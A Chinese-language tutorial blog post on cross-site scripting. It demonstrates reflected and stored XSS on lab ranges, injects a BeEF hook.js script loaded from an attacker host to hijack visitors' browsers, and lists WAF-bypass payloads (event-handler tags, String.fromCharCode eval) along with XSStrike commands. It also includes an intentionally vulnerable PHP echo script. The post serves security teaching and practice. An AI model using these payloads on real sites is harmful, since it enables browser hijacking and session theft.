XSS漏洞解析

张开发
2026/4/4 3:50:13 15 分钟阅读
XSS漏洞解析
一、XSS 简介与危害1. XSS 是什么跨站脚本攻击 XSSCross Site Scripting为了不和层叠样式表Cascading Style SheetsCSS的缩写混淆故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码当用户浏览该页面时嵌入其中的 Script 代码会被执行从而达到恶意攻击用户的目的。2. XSS 的危害XSS 漏洞一旦被利用会给用户和企业带来严重的安全威胁主要危害包括盗取各类用户账号如机器登录帐号、用户网银帐号、各类管理员帐号控制企业数据包括读取、篡改、添加、删除企业敏感数据的能力盗窃企业重要的具有商业价值的资料非法转账强制发送电子邮件网站挂马控制受害者机器向其它网站发起攻击重定向语句窃取 cookie 的 sessionid冒充登录二、反射型与存储型 XSSXSS 攻击主要分为反射型和存储型两类它们的攻击方式和危害程度有所不同。1. 反射型 XSS反射型 XSS 是非持久化的攻击方式攻击者构造恶意链接当用户点击该链接时服务器会将恶意代码反射给用户的浏览器浏览器执行恶意代码从而完成攻击。案例 1简单的反射型 XSS 示例编写一个简单的 PHP 文件1.phpphp?php$xss $_GET[x];echo $xss;?当访问http://localhost/1.php?xscriptalert(1)/script时浏览器会执行script标签中的代码弹出提示框这就是最简单的反射型 XSS 攻击。案例 2靶场中的反射型 XSS以 pikachu 靶场的反射型 XSS 页面为例访问http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message2submitsubmit我们可以通过两种方式插入恶意脚本方式一直接修改 URL将 message 参数替换为恶意脚本的 URL 编码形式http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message%3Cscript%3Ealert(1)%3C/script%3Esubmitsubmit方式二通过 F12 进入开发者模式修改输入框的长度限制将lengthMax从 20 修改到 200然后输入更长的恶意脚本。2. 存储型 XSS存储型 XSS 是持久化的攻击方式攻击者将恶意代码提交到服务器的数据库中当用户访问相关页面时服务器会从数据库中取出恶意代码并返回给用户浏览器执行攻击会持续存在所有访问该页面的用户都会受到攻击危害比反射型 XSS 更大。案例靶场中的存储型 XSS以 pikachu 靶场的存储型 XSS 页面为例访问http://111.230.104.121:8765/vul/xss/xss_stored.php在输入框中输入scriptalert(1)/script并提交恶意代码会被存储到数据库中。之后所有访问该页面的用户都会触发弹窗因为每次访问页面时服务器都会从数据库中取出并执行这段恶意代码。3. 总结反射型 XSS 是一次性攻击需要用户主动点击恶意链接而存储型 XSS 是持久化攻击所有访问相关页面的用户都会受到攻击危害范围更广、危害程度更高。三、XSS 综合实战案例接下来我们通过 fdd 靶场的实战案例来完整演示 XSS 漏洞的发现、利用以及通过 Beef 劫持网站的过程。1. fdd 靶场搭建步骤访问127.0.0.1/jfdd/install/install.php完成靶场的安装安装完成后前台地址为http://localhost/jfdd/后台地址为http://localhost/jfdd/admin/login.php2. XSS 漏洞重现登录后台http://localhost/jfdd/admin/login.php在后台的具体需求输入框中输入scriptalert(1)/script并提交当访问相关页面时会触发弹窗说明该页面存在 XSS 漏洞。3. 使用 Beef 劫持网站Beef-XSS 是一款功能强大的 XSS 漏洞利用工具Kali 系统自带基于 Ruby 语言开发可以实现对用户主机的劫持和控制。步骤 1配置 Kali 软件源首先修改 Kali 的软件源文件/etc/apt/sources.list添加国内源以提高软件安装速度bash#阿里源deb https://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib#中科大战源deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#清华大学源deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大源deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-freedeb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#东软大学源deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribdeb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib#网易Kali源deb http://mirrors.163.com/debian wheezy main non-free contribdeb-src http://mirrors.163.com/debian wheezy main non-free contrib执行apt update更新软件源。步骤 2安装并启动 Beef安装 Beefapt install beef-xss启动 Beefbeef-xss初次使用 Beef 时需要设置密码如果忘记密码可以在/usr/share/beef-xss/config.yaml文件中查看。步骤 3注入 Beef 恶意脚本启动 Beef 后访问http://127.0.0.1:3000/ui/authentication使用用户名beef和设置的密码登录 Beef 后台。构造恶意脚本将 Beef 的 hook.js 注入到靶场的数据库中比如输入script srchttp://192.168.220.128:3000/hook.js/script这里的 IP 是 Kali 主机的 IP 地址。步骤 4劫持并控制主机当用户访问包含该恶意脚本的页面时会被 Beef 劫持在 Beef 后台可以看到上线的主机。此时可以执行各种恶意操作比如使用commands--redirect命令跳转用户页面模拟用户在宿主机上下单执行其他恶意脚本操作四、XSS 的 WAF 绕过WAFWeb 应用防火墙是防护 XSS 漏洞的重要手段它会过滤掉恶意的脚本代码。但是我们可以通过一些方法绕过 WAF 的防护。1. WAF 防护效果当未开启 WAF 时直接输入scriptalert(1)/script就可以触发 XSS 漏洞。当安装安全狗等 WAF 并开启防护后访问http://localhost/1.php?xscriptalert(1)/script会被 WAF 拦截无法触发弹窗。2. 手工绕过方法1标签语法替换WAF 通常会过滤script标签我们可以使用其他可以执行脚本的 HTML 标签来替换比如audio 标签利用 audio 标签的 onerror 事件当音频加载失败时执行脚本。htmlaudio srcx οnerrοralert(47)audio srcx οnerrοrprompt(1);audio src1 href1 οnerrοrjavascript:alert(1)/audio访问http://localhost/1.php?xaudio srcx onerroralert(47)即可触发弹窗。video 标签类似 audio 标签利用 onerror 事件执行脚本。htmlvideo srcx οnerrοrprompt(1);video srcx οnerrοralert(48)button 标签利用按钮的 onfocus 或 onclick 事件执行脚本。htmlbutton οnfοcusalert(1) autofocusbutton/οnclickalert(1) xss/button2ASCII 加密绕过将脚本代码转换为 ASCII 码然后使用eval(String.fromCharCode())执行这样 WAF 可能无法识别恶意代码。比如alert(1)的 ASCII 码是 97,108,101,114,116,40,49,41构造如下代码htmldetails open οntοggleeval(String.fromCharCode(97,108,101,114,116,40,49,41)) 访问http://localhost/1.php?xdetails open ontoggleeval(String.fromCharCode(97,108,101,114,116,40,49,41)) 即可触发弹窗。3. XSStrike 工具绕过XSStrike 是一款开源的 XSS 检测工具可以自动检测 XSS 漏洞并绕过 WAF 防护项目地址为https://github.com/s0md3v/XSStrike。1XSStrike 准备工作确保系统使用 Python3 环境更新 pippython.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/下载 XSStrike 后安装依赖pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/2XSStrike 常用参数bash-h, --help //显示帮助信息-u, --url //指定目标URL--data //POST方式提交内容-v, --verbose //详细输出-f, --file //加载自定义paload字典-t, --threads //定义线程数-l, --level //爬行深度-t, --encode //定义payload编码方式--json //将POST数据视为JSON--path //测试URL路径组件--seeds //从文件中测试、抓取URL--fuzzer //测试过滤器和Web应用程序防火墙。--update //更新--timeout //设置超时时间--params //指定参数--crawl //爬行--proxy //使用代理--blind //盲测试--skip //跳过确认提示--skip-dom //跳过DOM扫描--headers //提供HTTP标头-d, --delay //设置延迟3XSStrike 实战案例fuzz 测试测试 WAF 的过滤规则执行命令bashpython xsstrike.py -u http://localhost/1.php?x1 --fuzzer直接探测执行命令bashpython xsstrike.py -u http://localhost/1.php?x1如果没有加载 payload可能是因为1.php的代码问题修改1.php为 HTML 形式html!DOCTYPE htmlhtmlheadmeta http-equivcontent-type contenttext/html;charsetutf-8欢迎来到/headbodyh1 aligncenter欢迎/h1?php$xss $_GET[x];echo $xss;?center测试XSS/center/body/html再次执行探测命令就可以成功检测到 XSS 漏洞。五、总结XSS 漏洞是 Web 安全中常见且危害巨大的漏洞分为反射型和存储型存储型的危害更大。通过 Beef 等工具可以实现对 XSS 漏洞的利用劫持用户主机。虽然 WAF 可以防护 XSS 漏洞但是我们可以通过标签替换、加密等手工方法或者使用 XSStrike 等工具绕过 WAF 防护。作为 Web 开发者应该通过对用户输入进行过滤、转义使用 CSP 等手段来防护 XSS 漏洞提升网站的安全性。

更多文章